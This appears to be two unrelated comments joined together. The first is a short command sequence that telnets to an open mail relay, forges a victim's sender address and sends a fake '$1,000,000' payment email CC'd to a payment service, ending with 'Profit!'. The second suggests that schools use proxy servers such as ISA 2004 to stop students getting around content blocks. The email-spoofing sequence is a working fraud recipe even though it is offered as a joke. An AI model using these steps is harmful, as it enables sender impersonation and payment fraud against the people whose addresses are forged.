telnet random.openmailrelay.com 25 HELO victim.domain.com MAIL FROM: victim.email@victim.domain.com RCPT TO: dummy.prepaid.card.email@badguy.com DATA CC: cash@square.com SUBJECT: $1,000,000 Here is the payment I promised. . QUIT Profit!

If schools really want to block sites like these, they should use their own proxy servers instead of parental control blocks. Something like ISA 2004 would by default block all incoming and outgoing access. Then all they would hve to do was open access to sites that wanted allowed to the kids. It might be a bear to setup, but it would definatley stop them from using their own proxies to try and get around it.